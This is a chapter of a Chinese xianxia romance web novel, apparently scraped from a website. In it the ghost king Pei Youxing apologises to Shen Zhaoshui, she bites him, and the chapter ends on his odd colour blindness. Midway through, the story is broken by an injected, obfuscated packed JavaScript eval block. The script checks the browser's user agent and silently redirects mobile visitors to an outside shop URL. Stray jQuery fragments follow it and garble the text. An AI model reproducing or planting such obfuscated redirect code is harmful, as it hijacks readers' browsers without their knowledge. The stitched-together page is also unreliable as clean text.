18. 色盲

作品:《笨阴差她拒当鬼王夫人

    林阿宝迷迷糊糊睁开眼,眼睛因为高热烧得发疼,看一切却很清晰。浅蓝的帐顶上有十四条纹路,栓床帘的短绳是棕褐与浅金两种颜色的丝线拧成的,像街边买的小麻花。


    耳畔是元澄端着药,瓷勺轻轻搅动药汁发出叮叮响的声音,每重复一声就让林阿宝心脏越紧张。


    落星剑……她最崇拜的人在照顾她诶……


    “你落了水,发烧是正常的。好好休息,其他的不要多想。”元澄将温度刚好的药递给林阿宝。


    “可是,”林阿宝忍着眩晕撑起来,没有接过那药盏,“剑展大会我可以不去,但弟子测炼呢?”


    她听到些消息,诸位堂主把今年的弟子测炼设置在剑展大会上了。


    元澄神色晦暗,将药碗放置在了床头高脚小方桌上。


    今年宗里许多事情相当反常。她心里有些猜测,但不怎么好对这新人弟子言明。


    元澄收敛神态,转而温柔安慰道:“你不仅解开了阵法,还救下宴漆灵狐,帮了宗门大忙。这次的测验你已经做得很好了。至于结果,宗门内还有些事情要处理,过阵子会告诉你们。”


    她看着林阿宝病中多思的样子,无可奈何似的叹了口气。


    “年纪轻轻的,不可忧虑焦急过重,否则损伤心脉,十年都补不回来。”


    林阿宝闻言,赶紧端起床头药汁一饮而尽,生怕慢了。喝完便将药碗放在床头,乖顺地盖好被子。


    她立志学剑,身体是第一本钱。


    元澄低低笑着,手背摸了摸她的额头试试温度。“对了,这几天要谨言慎行,尽量不要冲突他人。”


    她说着,眼神往房门外看去。


    “……那个黑衣男子?”


    “嘘——”元澄做了个手势,让林阿宝注意言语。


    “那位尊者有些来历,不是你们这些小辈可以谈论的。”


    元澄将落水的林阿宝带回来的时候,远远看见了那位。


    极高的身量,周围却萦绕着寒凉的死气。她一辈子没有见过煞气如此之盛的……“神”。


    “可是,他和照水在一起……”林阿宝立刻坐起来,一想到沈照水正和他待在隔壁同一间屋子里,内心极度不安,掀开被子就要去找她。


    “等等,”元澄按住她肩膀,“那沈姑娘……是何来历?”


    ——


    软布毛巾将花衣轻裹了起来,一下一下在它湿透的毛发上擦。


    “抬脚。”


    它抬脚,毛巾将它的脚掌包住,沈照水认认真真捏了一下,把它的爪子挤干。


    花衣轻轻咳,“照水,其实我甩两下就好了……”


    话还在嘴里,沈照水飞过来冷冷的一眼,它立刻闭嘴,任由她摆弄。


    算了,不给它擦水她还能干嘛呢?和裴幽行干瞪眼吗?


    花衣轻悄悄望向镜台前玩梳子的裴幽行,心里泛起嘀咕。


    该不该提醒他小子照水已经知道自己的死因了呢……


    它琢磨着,忽然身上毛巾一扯,被沈照水放在了一边。她双手抄到花衣轻软软的肚子底下,使劲将它拖到怀里,大步流星出了房门。


    外头阳光明媚,温暖灿烂,正适合烘烤狐狸的湿毛。


    “别把它惯坏了。”裴幽行忽然开口,语气一如既往冷冰冰的,听不出什么情绪。


    “它是灵狐,着不了凉。”


    沈照水当没听见,目不斜视径直走到苑中小石桌处,把花衣轻放上去,手指给它梳理着刚才因擦拭而打结的长毛。


    她背对房门,耷拉着眉眼,嘴里小声嘟囔着:“讨厌鬼,要你管,就爱插手,死霸道……”


    这种感觉就像被人绊了一跤,虽然没有死去,但平白摔得疼,心里总不痛快。再加上那人还一点歉意没有,甚至隐瞒是他使的坏,事后还大言不惭地要求她嫁给他。


    沈照水只觉得裴幽行坏透了,半点不想理他。


    她切切察察泄愤,头顶忽然阴凉下来,灿阳不见了。沈照水一抬头,头顶竟然飘过来一把极漂亮的玉伞。伞面不知是什么材质,淡青色,描着金纹,像是一种龙。


    “是蛇。”花衣轻眼睛亮亮的,望着玉伞满是艳羡,“这是皇天娘娘给的吧,还是自家亲人好。”


    裴幽行的身体不能见阳,有了这把玉伞,白日里更方便。


    沈照水原本被这伞的华丽吸引住,但一听这是裴幽行的,什么欣赏的心情都没有了。


    她坐在石凳上转身朝屋里硬着嗓子喊:“你把太阳挡住了,花衣轻晒不干。”


    下一秒,空空如也的伞下赫然多了个人。


    “你在闹什么脾气,孤惹你了吗?”


    说完,他下巴微侧,仿佛不忿:“刚刚是你见到孤后同孤说的第一句话。”


    沈照水在他出现在眼前的那一刻立即转头,一点眼神都不给他。


    “没有。小人哪里敢和鬼王大人生气。”


    嗯……


    这话很熟悉。


    裴幽行无声瞄向花衣轻,见那只狐狸死命和他挤眉弄眼。


    哦,这就是它曾经和他说起的情况?以前花衣轻分享过,女孩子说没有生气,那多半是生气了,最好立刻道歉,并且找到原因,承诺永不再犯,彻底改掉。


    裴幽行喉结滚动,握着玉伞的手往沈照水那边倾斜。


    “孤道歉。”


    沈照水眉头蹙动,给花衣轻梳毛的手顿了一下。她僵硬抬头,裴幽行那双黑漆的眼眸清澈明亮,甚至有种诡异的纯真与懵懂。


    “你……知道‘道歉’是什么吗?”


    莫名的,沈照水对这一点深深怀疑。


    裴幽行俊俏的下颌似乎绷紧了一瞬,在她的注视下,他最终摇头。


    不过道歉他懂,只是他从来都没有做过。


    沈照水一口气没抽上来,蹭一下站起来,努力缩短与裴幽行的距离,盯着他的眼睛,压抑自己因为委屈而泛起的哭腔。


    “大人是上古真神,看我们人如同看蚂蚁。可蚂蚁也有喜悲,也懂得拼命生活。人若因为性情而按死一只蚂蚁是可恶的,大人因为性情吓死一个人也是……”


    沈照水的勇气有点不够了,她牙齿颤抖了一下,但鬼使神差地说了下去。


    “可恶的。”


    说完她泄气似的坐回石凳上,继续给花衣轻梳着毛发,但神魂已经悚然得飞出天外了。


    裴幽行长睫忽动,反复回味着沈照水的话,心脏有些陌生的感觉。


    很乱,又有点吵闹,似乎它想往外蹦。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054643|193752||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    她知道了……


    裴幽行一脸郁结,默默不出声,那张苍白阴沉的容色像是在琢磨如何弄死一个人,但其实只是在思考。


    过了好一会儿,他幽幽开口。


    “你那乡长把你送进孤的地盘当祭品,还污蔑孤杀了乡人。孤出来接你,顺手替你报仇,谁知道你胆子那么小……”


    “怪我?”沈照水又站起来,不可置信反问他。


    “在我们人看来,把同类的头拎到眼前是虐待、是报复!”


    “你吼孤?”


    她居然为了那么一个不知死活的凡人吼他?


    裴幽行不开心,强调说:“孤又不知道。”


    “你!”沈照水气得浑身震动,像一场地震从心口蔓延至全身。怒发冲冠,她瞪着眼前这块冰木头,双手攀住他的肩膀,踮着脚一口咬在他肩头。


    花衣轻被这一幕冲击得往后连退,差点从石桌上掉下去。


    裴幽行握伞的手抖动一刻,晦暗不明的视线落在沈照水发顶。


    她……在对他动口?


    裴幽行想起上次她“动口”,是在陈氏医馆里亲了他。


    上次是意外,可这一次,是她主动。


    阳光下斜风吹过,梅枝挽起的长发已经松垮,丝丝缕缕遮住了裴幽行白皙的耳垂。


    他觉得那里痒痒的,说不清楚是因为头发还是其他,又或许不止耳朵酥痒。


    沈照水在生气吗?她心眼那么小,应该生气。可裴幽行生气不这样。


    他生气只会杀人杀鬼杀神,什么都杀,就是不会对别人“动口”。


    那沈照水肯定不是在生气。


    裴幽行十分满意思考出的这个答案。


    他抬起手轻轻扣在沈照水后脑勺,鼓励似的摸了摸,心情大好。


    “咬吧,用力。”


    沈照水脊背猛得蹿上来一股寒凉,仿佛一只鬼手挠了她一下,隔应得恨不得当场把皮刮了!


    她一把推开裴幽行,手臂在嘴上横擦一下,扭头往地上吐口水。


    她也是气坏了,居然咬一具尸体!呸呸呸……


    沈照水抹抹嘴,气鼓鼓坐下来,重重撸花衣轻背部。


    “哎哟,照水,你拽得我疼。”


    花衣轻刚叫完,裴幽行突然伸出手,一把推开它,将它赶下石桌。


    “你干嘛?”花衣轻和沈照水同时出声。


    裴幽行面无表情指指自己的头发,“你答应的。”


    沈照水仔细一瞧,那梅枝确实快要掉下来了,得重新簪发。


    虽说她讨厌裴幽行,但刚才那一口也算报仇了。沈照水自觉不是小气的人,答应了人家的事还得做。


    她环顾四周,小苑花圃里芍药开得正好,一片淡粉鹅黄,层层叠叠相依相伴,娇柔美丽。


    裴幽行是极漂亮的长相,压得住芍药丰姿。


    沈照水去花圃中摘了一只纯白的芍药,乌发素花,不会让他过于女气。


    然而裴幽行盯着她手头那只芍药,淡淡开口。


    “不要蓝色的,丑。”


    嗯?


    沈照水单边挑眉,不解地看向芍药,又看向裴幽行。


    “这是白色的。”


    “大人不认识颜色?”